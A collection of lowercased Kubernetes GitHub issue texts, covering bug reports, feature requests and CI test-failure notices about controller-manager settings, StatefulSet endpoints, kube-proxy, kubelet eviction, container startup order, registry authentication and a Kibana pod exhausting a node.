38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux redacted.internal 4.14.11-coreos  1 smp fri jan 5 11:00:14 utc 2018 x86_64 intel r  xeon r  cpu @ 2.50ghz genuineintel gnu/linux\r    \r - install tools:\r bespoke terraform setup.\r \r - other:\r full controller manager args:\r    \r       /hyperkube\r       controller-manager\r       --kubeconfig=/etc/kubernetes/kubeconfig\r       --root-ca-file=/etc/kubernetes/tls-ca.crt\r       --service-account-private-key-file=/etc/kubernetes/tls-apiserver.key\r       --cluster-signing-cert-file=/etc/kubernetes/tls-ca.crt\r       --cluster-signing-key-file=/etc/kubernetes/tls-ca.key\r       --cloud-provider=gce\r       --cloud-config=/etc/kubernetes/gce.conf\r       --allocate-node-cidrs=true\r       --cidr-allocator-type=cloudallocator\r       --configure-cloud-routes=false\r       --cluster-cidr=172.16.0.0/12\r       --service-cluster-ip-range=192.168.0.0/16\r       --cluster-name=redacted\r    \r \r and  gce.conf :\r    \r  global \r     multizone = true\r     network-project-id = redacted-xpn-host\r     network-name = redacted-xpn-host\r     subnetwork-name = redacted-xpn-host-subnet\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  : statefulsets endpoint remove delayed when delete one pod\r \r   what you expected to happen  : statefulsets endpoint  remove immediately  when delete one pod\r \r   how to reproduce it  as minimally and precisely as possible   :\r kubectl apply -f  nginx-service.yaml\r    \r apiversion: v1\r kind: service\r metadata:\r   name: nginx-stateful\r   namespace: test\r spec:\r   ports:\r     - name: export-port\r       port: 80\r       protocol: tcp\r       targetport: 80\r   selector:\r     app: \ nginx-stateful\ \r   clusterip: 192.168.1.30\r      \r \r kubectl apply -f  nginx-stateful.yaml\r    \r apiversion: apps/v1beta1\r kind: statefulset\r metadata:\r   labels:\r     app: nginx-stateful\r   name: nginx-stateful\r   namespace: test\r spec:\r   replicas: 5\r   selector:\r     matchlabels:\r       app: nginx-stateful\r   servicename: nginx-stateful\r   template:\r     metadata:\r       labels:\r         app: nginx-stateful\r     spec:\r          automountserviceaccounttoken: false\r       containers:\r       - image: docker-hub.ucweb.com:5000/test/nginx:1.7.9\r         imagepullpolicy: ifnotpresent\r         name: nginx-stateful\r         ports:\r         - containerport: 80\r           protocol: tcp\r         resources:\r           limits:\r             cpu: \ 1\ \r           requests:\r             cpu: 500m\r       - image: docker-hub.ucweb.com:5000/busybox:0.1\r         imagepullpolicy: ifnotpresent\r         name: busy\r         args:\r           - sleep\r           - \ 10000000\ \r              \r \r  kubectl delete pods  nginx-stateful-0 -n test\r pod \ nginx-stateful-0\  deleted\r \r  kubectl get pods -n test\r name               ready     status        restarts   age\r nginx-stateful-0   2/2       terminating   0          1h\r nginx-stateful-1   2/2       running       0          1h\r nginx-stateful-2   2/2       running       0          1h\r nginx-stateful-3   2/2       running       0          1h\r nginx-stateful-4   2/2       running       0          1h\r \r  root@sz-kpi-s3-252 /etc/kubernetes/manifests \r  kubectl get ep  -n test --watch\r name             endpoints                                                       age\r nginx-stateful   10.151.98.21:80,10.151.99.181:80,10.151.99.182:80 + 2 more...   1h\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2018-04-24t22:14:26z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.1\ , gitcommit:\ f38e43b221d08850172a9a4ea785a86a3ffa3b3a\ , gittreestate:\ clean\ , builddate:\ 2018-04-24t22:14:26z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : 7.2\r - kernel  e.g.  uname -a  :\r  root@sz-kpi-s3-252 /etc/kubernetes/manifests \r  uname -a\r linux sz-kpi-s3-252 3.10.0-327.ali2010.rc7.alios7.x86_64  1 smp thu jun 29 21:45:21 cst 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: hypekube \r - others:\r

failing jobs\r  sig-release-master-blocking gci-gce-serial  https://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gce-serial \r   failing tests\r   sig-network  dns configmap federations should be able to change federation configuration  slow  serial   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-serial/3980 \r   triage results\r   sig-network  dns configmap federations should be able to change federation configuration  slow  serial   https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=ci-kubernetes-e2e-gci-gce-serial&test=dns%20configmap%20federations%20should%20be%20able%20to%20change%20federation%20configuration \r \r  /  /milestone v1.12\r /cc @tpepper @aishsundar

what happened  : when using the vsphere cloud provider and a hostname override, kube-proxy does not recognize local endpoints correctly.\r \r   what you expected to happen  : kube-proxy should use the same logic as kubelet to determine nodename. the nodename does not need to be the same as the hostname override.\r \r   how to reproduce it  as minimally and precisely as possible   :\r  1  run a cluster on vsphere with a windows node, with the vsphere cloud provider\r  2  start kube-proxy with a hostname override that does not match the os' hostname, and see kube-proxy mark local pods' hnsendpoints as remote.\r \r   anything else we need to know?  :\r kube-proxy behaves as if the endpoints are remote because the nodename of the endpoints does not match the hostname-override passed into kube-proxy.\r \r this is the line where proxier compares a nodename in an endpoint to the hostname:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/proxy/winkernel/proxier.go l896\r \r the hostname used by proxier above is determined by kube-proxy here:\r https://github.com/kubernetes/kubernetes/blob/master/cmd/kube-proxy/app/server_windows.go l75\r \r this will use the hostname-override if provided, and the os' hostname otherwise. this hostname is used to create the proxier, a healthz check, and the noderef in the proxyserver struct. i believe that the other two uses actually want a hostname  an ip or something dns-routeable .\r \r kubelet determines the nodename:\r https://github.com/kubernetes/kubernetes/blob/master/cmd/kubelet/app/server.go l536\r \r i think kube-proxy should use the same cloud-provider function to determine the nodename, since the important thing about this value is it matched what kubelet is using when registering the node.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11/1.12\r - cloud provider or hardware configuration: vsphere\r - os  e.g. from /etc/os-release : 1803\r \r <!-- do not edit below this line -->\r 

is it possible to launch a pod without a service account, or with a null service account?  i've tried creating a serviceaccount and deleting the secret  it is recreated .  i've tried creating a secret without the token line  it is recreated .  not specifying a serviceaccount means the 'default' serviceaccount is used.  as far as i can tell, every pod created gets full access to the k8s api.  while i know that rbac are the correct long-term solution here, i think denying a pod all access to the k8s api is a common enough use case that we should be able to support it without telling people to wait for rbac.  the best i have found is to create the serviceaccount, figure out the randomly named secret, download the secret, modify the token to be 123  base 64 encoded , and then replace the secret.  but that is very hacky indeed.

we should find a way to jam info about the cloud load-balancer that is backing a service into the k8s api.  ideally the lb name and maybe a url.  this info is obviously going to vary by cloud provider.  maybe something simple like a string-string map in status.ingress    ?  @arob for ideas @justinsb i think we discussed this but did not implement it before 1.0

kubelet now supports evicting of pods & images to free up memory and disk space whenever it notices memory or disk pressure. this feature is amazing since it helps keep the nodes running. but there are still a few glitches with this feature that makes it not ready for production. this issue attempts to expose those glitches and discuss possible solutions for those glitches. - kubelet pod evictions are not checkpointed. kubelet restarts might forget evicted pods. need to checkpoint evicted phase to the api server before performing actual eviction - kubelet eviction triggers are slow. it takes at-least 10 seconds for kubelet to detect resource usage changes. in the case of disk usage, it can be as long as 70 seconds. this makes low thresholds for kubelet evictions not work in production. for example  memory.available<100mi , doesn't prevent system ooms ~40% of the time. this issue is more serious of disk.   proposed solutions   - add an on-demand stats interface to cadvisor that collects & provides the most recent stats on-demand - https://github.com/google/cadvisor/issues/1247 is related   - setup memcg thresholds that trigger events as soon as the eviction thresholds are met. - kubelet evicts more pods that needed whenever it notices memory or disk pressure.    - memory - the 10 second update could result in multiple evictions. kubelet evicts volumes asynchronously after evicting pods. this results in memory held my in-memory volumes from not being released and additional pods get deleted. possible solutions here include evictions volumes before marking a pod as \ evicted\  and running eviction control loops more often  1s?  whenever there is pressure.   - disk - the issue mentioned above from memory applies to disk too. in addition to that, the disk storage layout has not been spec'ed yet - https://github.com/kubernetes/kubernetes/issues/30799     disk inodes are not tracked per-pod. this could result in eviction multiple pods until the outlier is evicted.     logs are not preserved for evicted pods. this might be critical for certain applications.  cc @kubernetes/sig-node @derekwaynecarr @sjenning @ronnielai

here is an example of what i'm talking about https://github.com/docker/docker/blob/master/project/reviewing.md and https://github.com/docker/docker/blob/master/project/issue-triage.md  i would do this myself but i actually don't know what all the labels mean, what they trigger, and what they do.  questions to be answered for each label: name: does it trigger something? is it required for merging/cherry-picking/some other process? is this label only for use by bots? does this label only apply for issues? does this label only apply for prs? is this label required for merge if and only if the moon is 45 degrees left of the sun and it is the first monday in october?

kubernetes version  :\r \r - client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.4\ , gitcommit:\ 3b417cc4ccd1b8f38ff9ec96bb50a81ca0ea9d56\ , gittreestate:\ clean\ , builddate:\ 2016-10-21t02:48:38z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r - server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.6\ , gitcommit:\ ae4550cc9c89a593bcda6678df201db1b208133b\ , gittreestate:\ clean\ , builddate:\ 2016-08-26t18:06:06z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  on-premise   :\r -   os  : ubuntu 16.04.1 lts  xenial xerus \r -   kernel  : linux  4.4.0-47-generic 68-ubuntu smp wed oct 26 19:39:52 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r \r   our need  :\r i am in a situation where my pod is composed by 3 containers called:\r \r - application\r - collectd\r - fluentd\r \r i want that: application container starts only when both collectd and fluentd are up&running ..\r  and fluentd and collectd stops only when application has stop \r \r   what happened  :\r i created a simple poststart script in application container, that waits forever for liveness/readiness probe of collectd and fluentd. \r \r i found two strange behaviours, strictly connected one with the other:\r 1. the never-ending loop in the poststart script  that waits for liveness of other containers  blocks completely the spin-up of the other two. so that fluentd and collectd have never been started.\r 2. kubernetes run in alphabetical order the containers defined inside a pod. so if i call my first container zapplication  instead of application  everything works as expected.\r \r   what you expected to happen  :\r i developed this part with the assumption that kubernetes starts in parallel all the containers and in case there is something wrong  liveness probe down  restart automatically the failing containers.\r since i expect they are spin-up in parallel i also suppose that alphabetical order shouldn't affect the startup of the three containers.\r \r now what i am asking is if this behaviour is a feature or is it a bug?\r if this is a feature i can change the container name of my pod, but probably it's not a clean solution. have you got other suggestions on how to better fulfil our need?\r \r here is the discussion on stackoverflow: http://stackoverflow.com/questions/40676364/kubernetes-poststart-hook-seems-that-blocks-all-the-containers-startup-is-that\r feel free to close this ticket and move there the discussion if it's not a bug!\r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-multizone/5942/ failed:  k8s.io  dns configmap federations should be able to change federation configuration {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns_configmap.go:43 mar 14 13:25:21.288: dig result did not match:   string{} after 30s /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/dns_common.go:94

i have docker setup with a private registry, the credentials are stored in /root/.docker/config.json.\r \r pulling images manually with \ docker pull\  works just fine, no issues there.\r \r however, when images are pulled from kubernetes it complains it's unable to authenticate.\r \r judging from the documentation here  https://kubernetes.io/docs/tasks/configure-pod-container/pull-image-private-registry/ , this should work as my setup is the first one that is mentioned in the doc.\r \r if any more steps are necessary, please make it clear in the docs. talking to private registries is a must in any real enterprise-deployment. \r \r \r running kubernetes 1.6.2 on centos7, configured via kubeadm, btw...\r \r

failure cluster  43fbddb2db10511ee1ae  https://go.k8s.io/triage 43fbddb2db10511ee1ae        error text:     error starting ./cluster/log-dump/log-dump.sh /workspace/_artifacts: fork/exec ./cluster/log-dump/log-dump.sh: no such file or directory           failure cluster statistics: 1 tests failed,    40 jobs failed,    169 builds failed. failure stats cover 1 day time range '31 jul 2017 17:51 utc' to '1 aug 2017 17:51 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | dumpclusterlogs | 40 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-soak-gci-gce-1.5-test | 22 |  1 aug 2017 17:44 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-soak-gci-gce-1.5-test/1137  | | ci-kubernetes-e2e-cos-docker-validation-slow | 20 |  1 aug 2017 14:16 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-cos-docker-validation-slow/2513  | | ci-kubernetes-e2e-gce-gci-qa-slow-m60 | 11 |  1 aug 2017 15:56 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-gci-qa-slow-m60/672  |        previously closed issues for this cluster:  49421    current status  https://go.k8s.io/triage 43fbddb2db10511ee1ae

 /area hw-accelerators\r \r   what happened  :\r we hope to support extended resource quota through the new resource class api in the long term. but given that this is a valuable feature that people may want asap, and the modification would be relatively small, we should consider implementing this with the current resource api for now.\r \r -  x  support for resource quota\r -  x  support for  limit range\r \r /assign

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >   \r \r can we add a new feature like podsecuritypolicy to control service per namespace and user?\r \r like:\r namespace a are only allowed to allocate cluster ip in range 10.0.1.0/24\r namespace b are only allowed to allocate cluster ip in range 10.0.2.0/24.\r \r user c is allowed to allocate nodeport  in range 30000-31000\r user d is allowed to allocate nodeport in range 31001-32000\r \r @kubernetes/sig-network-feature-requests

was running a pod with an activedeadlineseconds on a 1.10 cluster.  the pod reached the deadline, but the pod status did  not  contain the latest state of the pod containers  pod containersstatus was empty .  the status only had the following fields:\r \r    \r status:\r   phase: failed\r   reason: deadlineexceeded\r   message: ...\r   starttime: ...\r    \r \r the statuses were there immediately prior to the deadline being reached.\r \r this broke api clients that were looking at container status.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r after apply kibana  manifest  https://github.com/kubernetes/kubernetes/blob/release-1.11/cluster/addons/fluentd-elasticsearch/kibana-deployment.yaml , resources of my node machine in which kibana pod runs exhaust and the node status became \ notready\ .\r \r    \r  vagrant@dev deployk8s $ kubectl get pods --all-namespaces -o wide\r namespace     name                             ready     status    restarts   age       ip            node\r kube-system   kibana-logging-56fb9d765-r8kx7   1/1       running   0          4m        172.30.28.2   kube-node3\r    \r    \r  vagrant@dev deployk8s $ kubectl get nodes\r name         status     roles     age       version\r kube-node1   ready      <none>    2d        v1.11.0\r kube-node2   ready      <none>    2d        v1.11.0\r kube-node3   notready   <none>    2d        v1.11.0\r    \r    \r  root@kube-node3 ~   top\r top - 11:50:54 up 17 min,  1 user,  load average: 10.74, 11.00, 6.96\r tasks: 104 total,   4 running, 100 sleeping,   0 stopped,   0 zombie\r %cpu s :  0.3 us, 12.9 sy,  0.0 ni,  3.1 id, 64.8 wa,  0.0 hi, 18.8 si,  0.0 st\r kib mem :  1015368 total,    65532 free,   851408 used,    98428 buff/cache\r kib swap:        0 total,        0 free,        0 used.    24816 avail mem \r \r   pid user      pr  ni    virt    res    shr s  %cpu %mem     time+ command                                                                                            \r  1415 root      20   0  771948  40064      0 s  21.5  3.9   2:48.13 kubelet                                                                                            \r    35 root      20   0       0      0      0 r  13.4  0.0   2:04.26 kswapd0                                                                                            \r  2988 vagrant   20   0 1804676 674112      0 d   9.1 66.4   1:50.81 node                                                                                               \r   906 root      20   0   44872   9604      0 s   1.9  0.9   0:25.50 kube-proxy                                                                                         \r  1025 root      20   0  485572  34528      0 s   1.7  3.4   0:23.73 dockerd                                                                                            \r  1279 root      20   0  449620  11192      0 s   1.4  1.1   0:14.17 docker-containe                                                                                    \r   407 root      20   0   37620   1644   1264 d   0.7  0.2   0:02.23 systemd-journal                                                                                    \r   905 root      20   0  473672  11004      0 s   0.7  1.1   0:05.39 tuned                                                                                              \r   907 root      20   0  216660   2388    940 s   0.5  0.2   0:01.67 rsyslogd                                                                                           \r  2797 root      20   0  154588   1380     16 s   0.5  0.1   0:01.24 sshd                                                                                               \r  3397 root      20   0   61788    924    244 r   0.5  0.1   0:03.10 top                                                                                                \r   909 root      20   0  243468   6252      0 s   0.2  0.6   0:10.01 flanneld                                                                                           \r  2913 root      20   0    7704   1520      0 s   0.2  0.1   0:00.15 docker-containe                                                                                    \r  2972 root      20   0    7704   1496      0 s   0.2  0.1   0:00.17 docker-containe                                                                                    \r     1 root      20   0   46076   2452      0 s   0.0  0.2   0:01.69 systemd                                                                                            \r     2 root      20   0       0      0      0 s   0.0  0.0   0:00.00 kthreadd                                                                                           \r     3 root      20   0       0      0      0 s   0.0  0.0   0:01.36 ksoftirqd/0                                                                                        \r     5 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 kworker/0:0h                                                                                       \r     6 root      20   0       0      0      0 s   0.0  0.0   0:00.02 kworker/u4:0                                                                                       \r     7 root      rt   0       0      0      0 s   0.0  0.0   0:00.01 migration/0                                                                                        \r     8 root      20   0       0      0      0 s   0.0  0.0   0:00.00 rcu_bh                                                                                             \r     9 root      20   0       0      0      0 s   0.0  0.0   0:00.50 rcu_sched                                                                                          \r    10 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 lru-add-drain                                                                                      \r    11 root      rt   0       0      0      0 s   0.0  0.0   0:00.00 watchdog/0                                                                                         \r    12 root      rt   0       0      0      0 s   0.0  0.0   0:00.00 watchdog/1                                                                                         \r    13 root      rt   0       0      0      0 s   0.0  0.0   0:00.01 migration/1                                                                                        \r    14 root      20   0       0      0      0 s   0.0  0.0   0:00.20 ksoftirqd/1                                                                                        \r    16 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 kworker/1:0h                                                                                       \r    18 root      20   0       0      0      0 s   0.0  0.0   0:00.00 kdevtmpfs                                                                                          \r    19 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 netns                                                                                              \r    20 root      20   0       0      0      0 s   0.0  0.0   0:00.00 khungtaskd                                                                                         \r    21 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 writeback                                                                                          \r    22 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 kintegrityd                                                                                        \r    23 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 bioset                                                                                             \r    24 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 kblockd                                                                                            \r    25 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 md                                                                                                 \r    26 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 edac-poller                                                                                        \r    36 root      25   5       0      0      0 s   0.0  0.0   0:00.00 ksmd\r    \r \r   what you expected to happen  :\r kibana pod start normally.\r because if i docker run kibana alone in node3:\r    \r  root@kube-node3 kubernetes   docker run \\\r > -p 5601:5601 \\\r > -e \ elasticsearch_url=http://localhost:9200\  \\\r > --name my-kibana \\\r > -d \\\r > --rm \\\r > docker.elastic.co/kibana/kibana:5.6.4\r    \r it will not be so terrible. \r    \r top - 13:54:43 up  2:21,  1 user,  load average: 0.24, 0.17, 0.14\r tasks: 105 total,   1 running, 104 sleeping,   0 stopped,   0 zombie\r %cpu s :  1.0 us,  1.2 sy,  0.0 ni, 97.8 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st\r kib mem :  1015368 total,   500548 free,   329224 used,   185596 buff/cache\r kib swap:        0 total,        0 free,        0 used.   507836 avail mem \r \r   pid user      pr  ni    virt    res    shr s  %cpu %mem     time+ command                                                                                                                                                                                                    \r  1415 root      20   0  840912  52268   8664 s   2.7  5.1   6:41.14 kubelet                                                                                                                                                                                                    \r  1279 root      20   0  449620  14780   1884 s   1.3  1.5   1:19.63 docker-containe                                                                                                                                                                                            \r 11982 vagrant   20   0 1320084 156676  11052 s   0.7 15.4   0:20.75 node                                                                                                                                                                                                       \r     9 root      20   0       0      0      0 s   0.3  0.0   0:03.25 rcu_sched                                                                                                                                                                                                  \r    49 root      20   0       0      0      0 s   0.3  0.0   0:03.04 kworker/0:1                                                                                                                                                                                                \r   906 root      20   0   44872  10556   2700 s   0.3  1.0   0:51.61 kube-proxy                                                                                                                                                                                                 \r  1025 root      20   0  488196  44540   4912 s   0.3  4.4   1:14.30 dockerd                                                                                                                                                                                                    \r     1 root      20   0   46076   3292    840 s   0.0  0.3   0:01.87 systemd                                                                                                                                                                                                    \r     2 root      20   0       0      0      0 s   0.0  0.0   0:00.00 kthreadd                                                                                                                                                                                                   \r     3 root      20   0       0      0      0 s   0.0  0.0   0:01.63 ksoftirqd/0                                                                                                                                                                                                \r     5 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 kworker/0:0h                                                                                                                                                                                               \r     6 root      20   0       0      0      0 s   0.0  0.0   0:00.12 kworker/u4:0                                                                                                                                                                                               \r     7 root      rt   0       0      0      0 s   0.0  0.0   0:00.08 migration/0                                                                                                                                                                                                \r     8 root      20   0       0      0      0 s   0.0  0.0   0:00.00 rcu_bh                                                                                                                                                                                                     \r    10 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 lru-add-drain                                                                                                                                                                                              \r    11 root      rt   0       0      0      0 s   0.0  0.0   0:00.06 watchdog/0                                                                                                                                                                                                 \r    12 root      rt   0       0      0      0 s   0.0  0.0   0:00.06 watchdog/1                                                                                                                                                                                                 \r    13 root      rt   0       0      0      0 s   0.0  0.0   0:00.11 migration/1                                                                                                                                                                                                \r    14 root      20   0       0      0      0 s   0.0  0.0   0:00.29 ksoftirqd/1                                                                                                                                                                                                \r    16 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 kworker/1:0h                                                                                                                                                                                               \r    18 root      20   0       0      0      0 s   0.0  0.0   0:00.00 kdevtmpfs                                                                                                                                                                                                  \r    19 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 netns                                                                                                                                                                                                      \r    20 root      20   0       0      0      0 s   0.0  0.0   0:00.00 khungtaskd                                                                                                                                                                                                 \r    21 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 writeback                                                                                                                                                                                                  \r    22 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 kintegrityd                                                                                                                                                                                                \r    23 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 bioset                                                                                                                                                                                                     \r    24 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 kblockd                                                                                                                                                                                                    \r    25 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 md                                                                                                                                                                                                         \r    26 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 edac-poller                                                                                                                                                                                                \r    35 root      20   0       0      0      0 s   0.0  0.0   2:09.40 kswapd0                                                                                                                                                                                                    \r    36 root      25   5       0      0      0 s   0.0  0.0   0:00.00 ksmd                                                                                                                                                                                                       \r    37 root      39  19       0      0      0 s   0.0  0.0   0:00.15 khugepaged                                                                                                                                                                                                 \r    38 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 crypto                                                                                                                                                                                                     \r    46 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 kthrotld                                                                                                                                                                                                   \r    47 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 kmpath_rdacd                                                                                                                                                                                               \r    48 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 kaluad                                                                                                                                                                                                     \r    50 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 kpsmoused                                                                                                                                                                                                  \r    52 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 ipv6_addrconf                                                                                                                                                                                              \r    65 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 deferwq                                                                                                                                                                                                    \r    98 root      20   0       0      0      0 s   0.0  0.0   0:00.01 kauditd                                                                                                                                                                                                    \r   236 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 ata_sff                                                                                                                                                                                                    \r   237 root      20   0       0      0      0 s   0.0  0.0   0:00.00 scsi_eh_0                                                                                                                                                                                                  \r   238 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 scsi_tmf_0                                                                                                                                                                                                 \r   240 root      20   0       0      0      0 s   0.0  0.0   0:00.00 scsi_eh_1                                                                                                                                                                                                  \r   243 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 scsi_tmf_1                                                                                                                                                                                                 \r   245 root      20   0       0      0      0 s   0.0  0.0   0:00.00 kworker/u4:3                                                                                                                                                                                               \r   317 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 kdmflush                                                                                                                                                                                                   \r   318 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 bioset                                                                                                                                                                                                     \r   328 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 kdmflush                                                                                                                                                                                                   \r   329 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 bioset                                                                                                                                                                                                     \r   341 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 bioset                                                                                                                                                                                                     \r   342 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 xfsalloc                                                                                                                                                                                                   \r   343 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 xfs_mru_cache                                                                                                                                                                                              \r   344 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 xfs-buf/dm-0                                                                                                                                                                                               \r   345 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 xfs-data/dm-0                                                                                                                                                                                              \r   346 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 xfs-conv/dm-0                                                                                                                                                                                              \r   347 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 xfs-cil/dm-0                                                                                                                                                                                               \r   348 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 xfs-reclaim/dm-                                                                                                                                                                                            \r   349 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 xfs-log/dm-0                                                                                                                                                                                               \r   350 root       0 -20       0      0      0 s   0.0  0.0   0:00.00 xfs-eofblocks/d                                                                                                                                                                                            \r   351 root      20   0       0      0      0 s   0.0  0.0   0:03.15 xfsaild/dm-0                                                                                                                                                                                               \r   352 root       0 -20       0      0      0 s   0.0  0.0   0:00.17 kworker/0:1h                                                                                                                                                                                               \r   407 root      20   0   37620   2100   1720 s   0.0  0.2   0:02.34 systemd-journal                                                                                                                                                                                            \r   421 root      20   0  192860   3080      0 s   0.0  0.3   0:00.00 lvmetad\r    \r    \r  root@kube-node3 kubernetes   docker ps \r container id        image                                   command                  created             status              ports                    names\r 690ef6e6f7c9        docker.elastic.co/kibana/kibana:5.6.4   \ /bin/sh -c /usr/loc…\    6 minutes ago       up 6 minutes        0.0.0.0:5601->5601/tcp   my-kibana\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r every time i apply the kibana manifest.\r \r   anything else we need to know?  :\r kubelet log:\r    \r i0824 11:36:52.375928    1415 kubelet.go:1839  syncloop  add, \ api\  : \ kibana-logging-56fb9d765-r8kx7_kube-system f0ba6aa5-a74e-11e8-88ea-525400c9c704 \ \r i0824 11:36:52.544162    1415 reconciler.go:207  operationexecutor.verifycontrollerattachedvolume started for volume \ default-token-2fb82\   uniquename: \ kubernetes.io/secret/f0ba6aa5-a74e-11e8-88ea-525400c9c704-default-token-2fb82\   pod \ kibana-logging-56fb9d765-r8kx7\   uid: \ f0ba6aa5-a74e-11e8-88ea-525400c9c704\   \r i0824 11:36:52.644646    1415 reconciler.go:252  operationexecutor.mountvolume started for volume \ default-token-2fb82\   uniquename: \ kubernetes.io/secret/f0ba6aa5-a74e-11e8-88ea-525400c9c704-default-token-2fb82\   pod \ kibana-logging-56fb9d765-r8kx7\   uid: \ f0ba6aa5-a74e-11e8-88ea-525400c9c704\   \r i0824 11:36:52.657846    1415 operation_generator.go:558  mountvolume.setup succeeded for volume \ default-token-2fb82\   uniquename: \ kubernetes.io/secret/f0ba6aa5-a74e-11e8-88ea-525400c9c704-default-token-2fb82\   pod \ kibana-logging-56fb9d765-r8kx7\   uid: \ f0ba6aa5-a74e-11e8-88ea-525400c9c704\   \r i0824 11:36:52.688157    1415 kuberuntime_manager.go:385  no sandbox for pod \ kibana-logging-56fb9d765-r8kx7_kube-system f0ba6aa5-a74e-11e8-88ea-525400c9c704 \  can be found. need to start a new one\r i0824 11:36:53.583475    1415 kubelet.go:1884  syncloop  pleg : \ kibana-logging-56fb9d765-r8kx7_kube-system f0ba6aa5-a74e-11e8-88ea-525400c9c704 \ , event: &pleg.podlifecycleevent{id:\ f0ba6aa5-a74e-11e8-88ea-525400c9c704\ , type:\ containerstarted\ , data:\ 78e3add8e367e4e33a5705a019057feee86d62d4b028cbe38bc13e161349ec4d\ }\r i0824 11:36:54.590706    1415 kubelet.go:1884  syncloop  pleg : \ kibana-logging-56fb9d765-r8kx7_kube-system f0ba6aa5-a74e-11e8-88ea-525400c9c704 \ , event: &pleg.podlifecycleevent{id:\ f0ba6aa5-a74e-11e8-88ea-525400c9c704\ , type:\ containerstarted\ , data:\ 8acadf9f4e101ff2af10fb5c6716312cb232ed494c132247fb6af2e6d677f971\ 